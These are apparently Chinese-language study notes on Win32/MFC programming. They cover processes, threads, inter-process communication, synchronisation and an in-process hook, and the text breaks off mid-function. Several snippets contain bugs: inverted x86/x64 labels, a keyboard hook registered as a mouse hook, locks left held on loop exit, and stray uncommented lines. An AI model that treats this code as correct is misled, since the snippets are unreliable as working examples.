MFC(下)

进程

#include<Windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	//在DLL中执行 GetModuleHandle(NULL)返回exe可执行文件模块句柄
	//GetModuleHandle(L"当前模块名字")可以获取DLL在当前文件中的模块句柄
	HMODULE hMouDle = GetModuleHandle(NULL);//得到当前exe模块句柄
	GetCommandLine();//获取完整的命令行参数,包含程序本身的名字
	lpCmdLine;//不包含程序本身名字
	//获取当前程序所在的工作目录
	wchar_t path[MAX_PATH];
	GetCurrentDirectory(MAX_PATH, path);
	//设置当前的工作目录
	//SetCurrentDirectory();
	return 0;
}
void CParentDlg::OnBnClickedCreate()
{
	//创建进程
	//创建一个新的虚拟地址,执行可执行文件,把数据加载到地址空间里面
	//第一个App的名字,第二个命令行参数,包含程序名字,第三个进程的安全属性,第四个线程安全属性描述符,第五个要不要继承父进程的环境工作目录,第六个创建标记0马上启动,第七个环境变量,第八个工作目录,
	//第九个启动信息,第十个进程信息
	wchar_t path[MAX_PATH] = L"notepad.exe";
	for (int i = 0; i < 10; i++)
	{
		STARTUPINFO si = { sizeof(STARTUPINFO) };
		PROCESS_INFORMATION pi = { 0 };
		if (FALSE == CreateProcess(NULL, path, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		{
			MessageBox(L"创建子进程失败");
			return;
		}
		m_handle[i] = pi.hProcess;
	}
}
//关闭进程
void CParentDlg::OnBnClickedClose()
{
	for (int i = 0; i < 10; i++)
	{
		//强制结束一个进程
		TerminateProcess(m_handle[i], 0);
	}
}
//打开进程
void CParentDlg::OnBnClickedOpen()
{
	SHELLEXECUTEINFO seci = { sizeof(SHELLEXECUTEINFO) };
	seci.lpVerb = L"open";//runas 以管理员的方式运行
	seci.lpFile = L"notepad.exe";
	seci.nShow = SW_SHOWNORMAL;

	ShellExecuteEx(&seci);
}


BOOL CParentDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();
	m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
	m_list.InsertColumn(0, L"序号", LVCFMT_LEFT, 100);
	m_list.InsertColumn(1, L"进程名", LVCFMT_LEFT, 100);
	m_list.InsertColumn(2, L"PID", LVCFMT_LEFT, 100);
	m_list.InsertColumn(3, L"x86", LVCFMT_LEFT, 100);

	m_modulelist.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
	m_modulelist.InsertColumn(0, L"序号", LVCFMT_LEFT, 100);
	m_modulelist.InsertColumn(1, L"模块路径", LVCFMT_LEFT, 300);
    //枚举进程
	EnumProce();
	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
//枚举进程
void CParentDlg::EnumProce()
{
	addprivate();
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
	BOOL b = Process32First(handle, &pe);
	int n = 0;
	while (b)
	{
		//插入序号
		CString str;
		str.Format(L"%d", n+1);
		m_list.InsertItem(n, str);
		//进程名
		m_list.SetItemText(n, 1, pe.szExeFile);
		//ID
		str.Format(L"%d", pe.th32ProcessID);
		m_list.SetItemText(n, 2, str);
		//
		HANDLE handle2=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
		if (handle2 != NULL)
		{
			BOOL is64;
			IsWow64Process(handle2, &is64);
			m_list.SetItemText(n, 3, is64 == TRUE ? L"x86" : L"x64");
		}
		else{
			m_list.SetItemText(n, 3, L"打开失败");
		}
		b=Process32Next(handle,&pe);
		n++;
	}
}
//显示模块
void CParentDlg::OnDblclkList1(NMHDR *pNMHDR, LRESULT *pResult)
{
	LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
	m_modulelist.DeleteAllItems();
	POSITION pos = m_list.GetFirstSelectedItemPosition();
	int sel = m_list.GetNextSelectedItem(pos);
	if (sel < 0)
	{
		return;
	}
	DWORD id = _wtoi(m_list.GetItemText(sel, 2));
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, id);
	MODULEENTRY32 md = { sizeof(MODULEENTRY32) };
	BOOL m = Module32First(handle, &md);
	int n = 0;
	while (m)
	{
		//插入序号
		CString str;
		str.Format(L"%d", n + 1);
		m_modulelist.InsertItem(n, str);
		//
		m_modulelist.SetItemText(n, 1, md.szExePath);
		m=Module32Next(handle, &md);
		n++;
	}
	UpdateData(FALSE);
	*pResult = 0;
}
//增加权限
BOOL CParentDlg::addprivate()
{
	//打开进程的访问令牌 
	HANDLE htoken;
	if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
	{
		return FALSE;
	}
	//查看 特权值
	LUID luid;
	if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		return FALSE;
	}
	//调整 第二个是否全部禁用
	TOKEN_PRIVILEGES tkp;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tkp.Privileges[0].Luid = luid;
	if (FALSE == AdjustTokenPrivileges(htoken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
	{
		return FALSE;
	}
	return TRUE;
}
//右键菜单
void CParentDlg::OnRclickList1(NMHDR *pNMHDR, LRESULT *pResult)
{
	LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
	CMenu menu;
	menu.CreatePopupMenu();
	menu.AppendMenu(MF_STRING, IDM_CLOSE, L"结束进程");
	
	POINT p;
	GetCursorPos(&p);
	menu.TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTALIGN,p.x,p.y,this);
	*pResult = 0;
}
//关闭进程
void CParentDlg::Onclose()
{
	POSITION pos = m_list.GetFirstSelectedItemPosition();
	int sel = m_list.GetNextSelectedItem(pos);
	if (sel < 0)
	{
		return;
	}
	DWORD id = _wtoi(m_list.GetItemText(sel, 2));
	HANDLE handle=OpenProcess(PROCESS_ALL_ACCESS, FALSE,id);
	if (handle != FALSE)
	{
		TerminateProcess(handle, 0);
		m_list.DeleteItem(sel);
		//刷新
		EnumProce();
	}
	//m_list.DeleteItem(sel);
}

多线程

#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
int main()
{
	//进程启动后,会创建一个线程:主线程
	//创建一个辅助线程1
	//第一个安全属性,第二个堆栈0默认,第三个入口地址,第四个传参数,第五个创建标记,第六个线程ID
	DWORD threadid;
	int n = 10;
	CreateThread(NULL, 0, thread1, &n, 0,&threadid);
	CreateThread(NULL, 0, thread2, NULL, 0, NULL);

	//如果主线程结束,其他线程就会结束
	
	int i = 0;
	while (1)
	{
		printf("主线程%d\n", i);
		i++;
	}
	return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
	//注意参数的生命周期
	int n = *((int*)lParam);
	int i = 0;
	while (1)
	{
		printf("子线程%d\n", i);
		i++;
	}

	return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
	int i = 0;
	while (1)
	{
		printf("子线程2%d\n", i);
		i++;
	}

	return 0;


}

MFC

//创建线程
void CThread1Dlg::OnBnClickedFine()
{
	handle=CreateThread(NULL, 0, thread1, this, 0, NULL);
}
//线程函数
DWORD WINAPI thread1(LPVOID lParam)
{
	CThread1Dlg*p = (CThread1Dlg*)lParam;
	int n = 0;
	while (1)
	{
		CString str;
		str.Format(L"%d", n);
		p->addEdit(str);
		n++;
	}
	return 0;
}
void CThread1Dlg::addEdit(CString str)
{
	str = str + L"\r\n";
	int nlength = m_edit.GetWindowTextLength();
	m_edit.SetSel(nlength, -1);
	m_edit.ReplaceSel(str);
}
//暂停
void CThread1Dlg::OnBnClickedStop()
{
	CString str;
	GetDlgItemText(IDC_STOP, str);
	if (str == L"暂停")
	{
		SuspendThread(handle);
		SetDlgItemText(IDC_STOP, L"继续");
	}
	else{
		ResumeThread(handle);
		SetDlgItemText(IDC_STOP, L"暂停");
	}
}
//结束
void CThread1Dlg::OnBnClickedFine3()
{
	if (handle != NULL)
	{
		TerminateThread(handle,0);
		//释放
		CloseHandle(handle);//释放引用计数
	}
}

cpp

#include<stdio.h>
#include<process.h>
void  work(void *p);
int main()
{
	//第一个线程函数,第二个堆栈0,第三个参数
	_beginthread(work, 0, NULL);

	return 0;
}
void  work(void *p)
{
	return ;
}

//MFC
UINT work(LPVOID lParam)
{
	CThread1Dlg*p = (CThread1Dlg*)lParam;
	int n = 0;
	while (1)
	{
		CString str;
		str.Format(L"%d", n);
		p->addEdit(str);
		n++;
	}
	return 0;
}
void CThread1Dlg::OnBnClickedButton1()
{
	//第一个线程函数,第二个参数0,第三个优先级,第四个堆栈大小,第五个创建标记,第六个线程安全属性
	m_winthread=AfxBeginThread(work, this, THREAD_PRIORITY_NORMAL, 0, NULL, NULL);
}
//暂停
void CThread1Dlg::OnBnClickedStop()
{
	CString str;
	GetDlgItemText(IDC_STOP, str);
	if (str == L"暂停")
	{
		m_winthread->SuspendThread(handle);
		SetDlgItemText(IDC_STOP, L"继续");
	}
	else{
		m_winthread->ResumeThread(handle);
		SetDlgItemText(IDC_STOP, L"暂停");
	}
}



DWORD WINAPI Findfilework(LPVOID pDlg)
{
	FINDDATA* find = (FINDDATA*)pDlg;
	CFileSystemDlg*pmain = (CFileSystemDlg*)find->dlg;
	wchar_t path[MAX_PATH];
	wcscpy(path, find->file);
	delete pDlg;
	CString file = pmain->m_strfile;
	pmain->Findfile(path, file);
	CString str;
	str.Format(L"%s已经检查完", path);
	pmain->MessageBox(str);
	return 0;
}
//查找
void CFileSystemDlg::OnBnClickedFind()
{
	UpdateData(TRUE);
	m_list.DeleteAllItems();
	hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	SetEvent(hEvent);
	wchar_t name[200];
	DWORD lenght = GetLogicalDriveStrings(200, name);
	//盘符C:\ 有四个字符
	for (int i = 0; i < (lenght / 4); i++)
	{
		FINDDATA* find = new FINDDATA;
		wcscpy(find->file, name + i * 4);
		find->dlg = this;
		//
		CreateThread(NULL, 0, Findfilework, find, 0, NULL);
	}
}
void CFileSystemDlg::Findfile(CString path, CString file)
{
	//删除右边
	 path.TrimRight(L'\\');
	//拼接
	CString filepath = path + L"\\*.*";
	filepath.Replace(L"\\\\", L"\\");
	CFileFind finder;
	BOOL bfind = finder.FindFile(filepath);
	while (bfind)
	{
		bfind = finder.FindNextFile();
		if (finder.IsDirectory() && finder.IsDots() == FALSE&&finder.IsHidden()==FALSE)
		{
			CString name = finder.GetFileName();
			CString str = path + L"\\" + name;
			filepath.Replace(L"\\\\", L"\\");
			Findfile(str, file);
		}
		else{
			if (finder.IsDots() == FALSE&&finder.IsHidden() == FALSE)
			{
				//想、初始化临界区
				WaitForSingleObject(hEvent, INFINITE);
				//得到文件名
				CString name = finder.GetFileName();
				if (name.Find(file) != -1)
				{
					//插入
					g_ncount = m_list.GetItemCount();
					m_list.InsertItem(g_ncount, name);
					m_list.SetItemText(g_ncount, 1, path);
				}
				SetEvent(hEvent);
			}	
		}
	}
}

进程间通信:socket 、剪切板、socket、剪切板、管道、油槽、共享内存,消息。

剪切板:


void CClipboardDlg::OnBnClickedSend()
{
	UpdateData(TRUE);
	if (m_send.IsEmpty())
	{
		MessageBox(L"请输入要发送的剪切板数据");
		return;
	}
	//打开剪切板
	if (OpenClipboard() == FALSE)
	{
		CString str;
		str.Format(L"打开剪切板失败%d", GetLastError());
		MessageBox(str);
		return;
	}
	//清空剪切板
	EmptyClipboard();
	//在全局中申请一块内存,操作系统中申请m
	HGLOBAL hglobal=GlobalAlloc(GMEM_MOVEABLE, m_send.GetLength() * 2 + 2);
	//加锁
	wchar_t*p=(wchar_t*)GlobalLock(hglobal);
	ZeroMemory(p, m_send.GetLength() * 2 + 2);
	memcpy(p, m_send.GetBuffer(), m_send.GetLength() * 2 + 2);
	//解锁
	GlobalUnlock(hglobal);
	//设置剪切板 第一个设置格式,第二个句柄
	SetClipboardData(CF_UNICODETEXT, hglobal);
	//关闭剪切板
	CloseClipboard();

}

//读取数据
void CClipboardDlg::OnBnClickedRecv()
{
	//打开剪切板
	if (OpenClipboard() == FALSE)
	{
		CString str;
		str.Format(L"打开剪切板失败%d", GetLastError());
		MessageBox(str);
		return;
	}
	//检查剪切板中是否有我们想要的数据格式
	if (IsClipboardFormatAvailable(CF_UNICODETEXT))
	{
		HANDLE handle = GetClipboardData(CF_UNICODETEXT);
		//加锁
		wchar_t*p = (wchar_t*)GlobalLock(handle);
		m_recv = p;
		//解锁
		GlobalUnlock(handle);
		UpdateData(FALSE);
	}
	//关闭剪切板
	CloseClipboard();
}

管道:

匿名管道:

MFC
void CParentProDlg::OnBnClickedStart()
{
	//创建匿名管道
	//安全属性
	SECURITY_ATTRIBUTES sa;
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);

	//第一个读取数据句柄,第二个写入数据句柄
	if (FALSE == CreatePipe(&m_read, &m_write, &sa, 0))
	{
		MessageBox(L"创建匿名管道失败");
		return;
	}
	TCHAR cmdline[MAX_PATH] = { 0 };
	wsprintf(cmdline, L"%s", L"child.exe");
	STARTUPINFO si = { 0 };
	si.cb= sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = m_read;
	si.hStdOutput = m_write;
	si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
	PROCESS_INFORMATION pi;
	CreateProcess(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
void CParentProDlg::OnBnClickedRead()
{
	wchar_t buff[100] = { 0 };
	DWORD read = 0;
	if (FALSE == ReadFile(m_read, buff, sizeof(buff), &read, NULL))
	{
		MessageBox(L"读取失败", L"child", MB_OK);
		return;
	}
	MessageBox( buff);
}
//写入
void CParentProDlg::OnBnClickedWrite()
{
	wchar_t buffer[100] = L"1>  ParentPro.vcxproj -> D:\\a复习\MFC 复\\ParentPro\\Debug\\ParentPro.exe";
	DWORD write = 0;
	if (FALSE == WriteFile(m_write, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
	{
		MessageBox(L"写入失败");
		return;
	}
}

cpp
#include<Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	HANDLE m_read = GetStdHandle(STD_INPUT_HANDLE);
	HANDLE m_write = GetStdHandle(STD_OUTPUT_HANDLE);
	wchar_t buff[100] = { 0 };
	DWORD read = 0;
	if (FALSE == ReadFile(m_read, buff, sizeof(buff), &read, NULL))
	{
		MessageBox(NULL, L"读取失败",L"child",MB_OK);
		return 0;
	}
	MessageBox(NULL, buff, L"child", MB_OK);
	//写入
	wchar_t buffer[100] = L"我是子进程";
	DWORD write = 0;
	if (FALSE == WriteFile(m_write, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
	{
		MessageBox(NULL, L"写入失败" ,L"child", MB_OK);
		return 0;
	}
	return 0;
}

命名管道

Server
//创建管道
void CServerDlg::OnBnClickedCreate()
{
	//创建命名管道
	m_pipe=CreateNamedPipe(L"\\\\.\\pipe\\ test", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_MESSAGE, 1, 1024, 1024, 0, NULL);
	if (m_pipe == INVALID_HANDLE_VALUE)
	{
		MessageBox(L"创建管道失败");
		return;
	}
	//创建事件对象 
	//第一个安全属性,第二个是否允许重置,第三个判断初始化有信号没有信号,第四个名字
	HANDLE hEvent=CreateEvent(NULL, TRUE, FALSE, NULL);
	//等待
	OVERLAPPED ol = { 0 };
	ol.hEvent = hEvent;
	if (FALSE == ConnectNamedPipe(m_pipe, &ol))
	{
		if (GetLastError() != ERROR_IO_PENDING)
		{
			MessageBox(L"等待连接失败");
			return;
		}
	}
	if (WAIT_FAILED == WaitForSingleObject(hEvent, INFINITE))
	{
		MessageBox(L"等待对象失败");
		CloseHandle(m_pipe);
		CloseHandle(hEvent);
		m_pipe = NULL;
		return;
	}
	CloseHandle(hEvent);
}
//读取数据
void CServerDlg::OnBnClickedRead()
{
	wchar_t buffer[100] = { 0 };
	DWORD read = 0;
	if (FALSE == ReadFile(m_pipe, buffer, sizeof(buffer), &read, NULL))
	{
		MessageBox(L"读取失败", L"server", MB_OK);
		return ;
	}
	MessageBox(buffer);
}
//写入数据
void CServerDlg::OnBnClickedWrite()
{
	//写入
	wchar_t buffer[100] = L"我是Server";
	DWORD write = 0;
	if (FALSE == WriteFile(m_pipe, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
	{
		MessageBox( L"写入失败", L"server", MB_OK);
		return ;
	}
}

Client
//连接管道
void CClientDlg::OnBnClickedConnect()
{
	if (FALSE == WaitNamedPipe(L"\\\\.\\pipe\\ test", NMPWAIT_WAIT_FOREVER))
	{
		MessageBox(L"没有可以运用的管道");
		return;
	}
	//打开管道
	m_Pipe=CreateFile(L"\\\\.\\pipe\\ test", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (m_Pipe == INVALID_HANDLE_VALUE)
	{
		MessageBox(L"打开管道失败");
		return;
	}
}
//读取数据
void CClientDlg::OnBnClickedRead()
{
	wchar_t buffer[100] = { 0 };
	DWORD read = 0;
	if (FALSE == ReadFile(m_Pipe, buffer, sizeof(buffer), &read, NULL))
	{
		MessageBox(L"读取失败", L"child", MB_OK);
		return ;
	}
	MessageBox(buffer);
}
//写入数据
void CClientDlg::OnBnClickedWrite()
{
	//写入
	wchar_t buffer[100] = L"我是client";
	DWORD write = 0;
	if (FALSE == WriteFile(m_Pipe, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
	{
		MessageBox(L"写入失败", L"child", MB_OK);
		return ;
	}
}

油槽;

Server
//创建油槽
BOOL CServerDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();
	m_mailslot=CreateMailslot(L"\\\\.\\mailslot\\testmailslot", 0, MAILSLOT_WAIT_FOREVER, NULL);
	if (m_mailslot == INVALID_HANDLE_VALUE)
	{
		MessageBox(L"创建油槽失败");
		return TRUE; 
	}
	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
//读取数据
void CServerDlg::OnBnClickedRead()
{
	wchar_t buff[100] = { 0 };
	DWORD read = 0;
	if (FALSE == ReadFile(m_mailslot, buff, sizeof(buff), &read, NULL))
	{
		MessageBox(L"读取失败", L"server", MB_OK);
		return ;
	}
	MessageBox(buff);
}

Client
//写入数据
void CClientDlg::OnBnClickedWrite()
{
	HANDLE m_mailslot = CreateFile(L"\\\\.\\mailslot\\testmailslot",GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (m_mailslot == INVALID_HANDLE_VALUE)
	{
		MessageBox(L"打开管道失败");
		return;
	}
	wchar_t buffer[100] = L"我是client";
	DWORD write = 0;
	if (FALSE == WriteFile(m_mailslot, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
	{
		MessageBox(L"写入失败", L"child", MB_OK);
		return ;
	}
}

共享内存:

创建共享内存
#include<Windows.h>
#include<stdio.h>
int main()
{
	//创建共享内存
	HANDLE hfilemap=CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 0x1000, L"filemap");
	if (hfilemap == NULL)
	{
		printf("创建共享内存失败%d",GetLastError());
		return 0;
	}
	//映射到当前进程地址空间
	void*pfilemap=MapViewOfFile(hfilemap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
	//使用共享内存
	int *p = (int*)pfilemap;
	p[0] = 1;
	p[1] = 2;
	p[2] = 3;
	while (1){
	}
	//删除文件映射视图,取消当前进程地址的映射
	UnmapViewOfFile(pfilemap);
	CloseHandle(hfilemap);
	return 0;
}

打开共享内存
#include<Windows.h>
#include<stdio.h>
int main()
{
	//打开共享内存
	HANDLE hfilemap = OpenFileMapping(FILE_MAP_WRITE, FALSE, L"filemap");
	if (hfilemap == NULL)	{
		printf("打开共享内存失败%d", GetLastError());
		return 0;
	}
	//映射本地内存地址空间
	void *pfilemap=MapViewOfFile(hfilemap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
	int *p = (int*)pfilemap;
	//访问共享内存、
	printf("p[0]=%d\np[1]=%d\np[2]=%d\n", p[0], p[1], p[2]);
	while (1){
	}
	//删除文件映射视图,取消当前进程地址的映射
	UnmapViewOfFile(pfilemap);
	CloseHandle(hfilemap);
	return 0;
}

进程同步:

临界区:

#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
int g_count = 500;
CRITICAL_SECTION g_cs;
int main()
{
	//创建临界区
	InitializeCriticalSection(&g_cs);

	CreateThread(NULL, 0, thread1, NULL, 0, NULL);
	CreateThread(NULL, 0, thread2, NULL, 0, NULL);
	while (1)
	{
	}
	//释放临界区
	DeleteCriticalSection(&g_cs);
	return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
	while (1)
	{
		//进入临界区,对资源进行加锁
		EnterCriticalSection(&g_cs);
		Sleep(10);
		if (g_count <= 0)
			break;
		g_count--;
		printf("窗口1:%d\n", g_count);
		//离开临界区
		LeaveCriticalSection(&g_cs);
	}
	return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
	while (1)
	{
		//进入临界区,对资源进行加锁
		EnterCriticalSection(&g_cs);
		Sleep(10);
		if (g_count <= 0)
			break;
		g_count--;
		printf("窗口2:%d\n", g_count);
		//离开临界区
		LeaveCriticalSection(&g_cs);
	}
	return 0;
}


MFC
CCriticalSection g_cs;
int count = 0;
BOOL CCriticalSectionDlg::OnInitDialog(){
	CDialogEx::OnInitDialog();
	srand((UINT)time(NULL));
	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
//线程处理函数
UINT  thread1(LPVOID lParam);
UINT  thread2(LPVOID lParam);
void CCriticalSectionDlg::OnBnClickedButton1(){
	
	AfxBeginThread(thread1, this);
	AfxBeginThread(thread1, this);
}
UINT thread1(LPVOID lParam)
{
	CCriticalSectionDlg*p = (CCriticalSectionDlg*)lParam;
	while (1)
	{
		int id = GetCurrentThreadId();
		g_cs.Lock();
		count++;
		int num1 = rand()*id % 100;
		int num2 = rand()*id % 100;
		int y = count * 20;
		g_cs.Unlock();
		TCHAR str[100];
		wsprintf(str, L"线程1 第%d题:%d+%d=%d", count, num1, num2, num1 + num2);
		CDC*dc = p->GetDC();
		dc->TextOut(10, y, str);
		p->ReleaseDC(dc);
	}
	return 0;
}
UINT thread2(LPVOID lParam)
{
	CCriticalSectionDlg*p = (CCriticalSectionDlg*)lParam;
	while (1)
	{
		int id = GetCurrentThreadId();
		g_cs.Lock();
		count++;
		int num1 = rand()*id % 100;
		int num2 = rand()*id % 100;
		int y = count * 20;
		g_cs.Unlock();
		TCHAR str[100];
		wsprintf(str, L"线程2 第%d题:%d+%d=%d", count, num1, num2, num1 + num2);
		CDC*dc = p->GetDC();
		dc->TextOut(10, y, str);
		p->ReleaseDC(dc);
	}
	return 0;
}

事件对象 (内核对象:

#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
HANDLE hEvent;
int g_count = 500;
int main()
{
	//创建一个事件对象
	//第一个安全属性描述符,第二个是否重置信号(无信号改有信号,有信号改为无信号)TRUE 人工,FALSE 自动重置
	//第三个初始化状态TRUE有信号 FALSE无信号,第四个名字
	hEvent=CreateEvent(NULL, TRUE, TRUE, NULL);

	设置事件对象为有信号状态
	//SetEvent(hEvent);
	设置无信号状态
	//ResetEvent(hEvent);

	CreateThread(NULL, 0, thread1, NULL, 0, NULL);
	CreateThread(NULL, 0, thread2 , NULL, 0, NULL);
	while (1)
	{
	}
	return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
	while (1)
	{
		//如果有信号就进入
		WaitForSingleObject(hEvent, INFINITE);
		//设置无信号状态  如果创建事件设置不重置信号,信号进入后会自动变为无信号
		ResetEvent(hEvent);
		if (g_count > 0)
			g_count--;
		else{
			break;
		}
		printf("窗口1:%d\n", g_count);
		//设置事件对象为有信号状态
		SetEvent(hEvent);
	}
	return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
	while (1)
	{
		WaitForSingleObject(hEvent, INFINITE);
		设置无信号状态
		ResetEvent(hEvent);
		if (g_count > 0)
			g_count--;
		else{
			break;
		}
		printf("窗口2:%d\n", g_count);
		//设置事件对象为有信号状态
		SetEvent(hEvent);
	}
	return 0;
}
	

信号量:

#include<stdio.h>
#include<Windows.h>
HANDLE g_semaphore;
int g_count = 0;
DWORD WINAPI thread(LPVOID lParam);
int main()
{
	HANDLE arr[20];
	//信号量 内核对象
	//创建信号量
	//第一个安全属性,第二个信号量初始化计数 必须大于等于0,第三个最大同时允许几个线程访问,第四个信号量对象名字
	g_semaphore=CreateSemaphore(NULL, 1, 1, NULL);
	if (g_semaphore == NULL)
	{
		printf("创建信号量失败%d", GetLastError());
		return 0;
	}
	//创建20
	for(int i = 0; i < 20;i++)
	{
		arr[i]=CreateThread(NULL, 0, thread, NULL, 0, NULL);
	}
	//等待所有线程执行完
	WaitForMultipleObjects(20, arr, TRUE, INFINITE);
	//释放句柄
	for (int i = 0; i < 20; i++)
	{
		CloseHandle(arr);
	}
	//释放信号量句柄
	CloseHandle(g_semaphore);

	//增加信号量
	//第一个信号量句柄,第二个要增加信号量计数,第三个要不要接受上一次的信号量计数
	//ReleaseSemaphore(g_semaphore, 1, NULL);
	return 0;
}
DWORD WINAPI thread(LPVOID lParam)
{
	while (1)
	{
		//信号量计数必须大于0 ,有信号,返回后信号量-1
		if (WAIT_OBJECT_0 == WaitForSingleObject(g_semaphore, INFINITE))
		{
			g_count++;
			if (g_count < 50)
			{
				printf("ID:%d, %d\n", GetCurrentThreadId(), g_count);
			}
			else{
				break;
			}
		}
		//增加信号量
		//第一个信号量句柄,第二个要增加信号量计数,第三个要不要接受上一次的信号量计数
		ReleaseSemaphore(g_semaphore, 1, NULL);
	}
	return 0;
}

创建全局唯一标识符:

工具-创建GUID

 互斥量:

#include<stdio.h>
#include<Windows.h>
HANDLE g_mutex;
int g_count = 500;
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
DWORD WINAPI thread3(LPVOID lParam);
int main()
{
	HANDLE arr[3];
	//创建互斥量
	//第一个安全属性描述符,第二个TRUE拥有互斥量没信号 FALSE没有拥有互斥量有信号,第三个互斥量名字
	g_mutex=CreateMutex(NULL, FALSE, NULL);
	
	arr[0]=CreateThread(NULL, 0, thread1, NULL, 0, NULL);
	arr[1]=CreateThread(NULL, 0, thread2, NULL, 0, NULL);
	arr[2]=CreateThread(NULL, 0, thread3, NULL, 0, NULL);

	WaitForMultipleObjects(3, arr, TRUE, INFINITE);
	//解锁
	//ReleaseMutex(g_mutex);
	printf("主线程结束");

	return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
	while (1)
	{
		WaitForSingleObject(g_mutex, INFINITE);
		if (g_count > 0)
		{
			g_count--;
			printf("窗口1:%d\n", g_count);
		}
		else{
			break;
		}
		//解锁
		ReleaseMutex(g_mutex);
	}
	return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
	while (1)
	{
		WaitForSingleObject(g_mutex, INFINITE);
		if (g_count > 0)
		{
			g_count--;
			printf("窗口2:%d\n", g_count);
		}
		else{
			break;
		}
		//解锁
		ReleaseMutex(g_mutex);
	}
	return 0;
}
DWORD WINAPI thread3(LPVOID lParam)
{
	while (1)
	{
		WaitForSingleObject(g_mutex, INFINITE);
		if (g_count > 0)
		{
			g_count--;
			printf("窗口3:%d\n", g_count);
		}
		else{
			break;
		}
		//解锁
		ReleaseMutex(g_mutex);
	}
	return 0;
}

HOOK:进程内钩子:

HHOOK g_hook;
HHOOK g_keyboard;
HWND g_handle;

LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL CHookDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();
	//安装钩子
	//第一个感兴趣的钩子类型,第二个钩子处理函数,第三个当前模块实例句柄,第四个线程ID
	g_hook=SetWindowsHookEx(WH_MOUSE, MouseProc, NULL, GetCurrentThreadId());
	if (g_hook == NULL)
	{
		CString str;
		str.Format(L"安装钩子失败%d", GetLastError());
		MessageBox(str);
		return TRUE;
	}
	g_keyboard = SetWindowsHookEx(WH_MOUSE, KeyboardProc, NULL, GetCurrentThreadId());
	if (g_keyboard == NULL)
	{
		CString str;
		str.Format(L"安装钩子失败%d", GetLastError());
		MessageBox(str);
		return TRUE;
	}
	return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}
//第一个怎么处理钩子的行为,第二个第三个附加参数信息
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	return CallNextHookEx(g_hook,nCode,wParam,lParam);//放行,把当前的信息继续传递给下一个钩子处理函数
	//return 1;//返回非0值,系统不会处理,不放行,屏蔽所有的鼠标消息
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (wParam == VK_SPACE)
	{
		return 1;
	}
	if (wParam == VK_ESCAPE || wParam == VK_RETURN)
	{
		//卸载两个钩子
		UnhookWindowsHookEx(g_hook);
		UnhookWindowsHookEx(g_keyboard);
		SendMessage(g_handle, WM_CLOSE, 0, 0);
		return 1;
	}
	else{
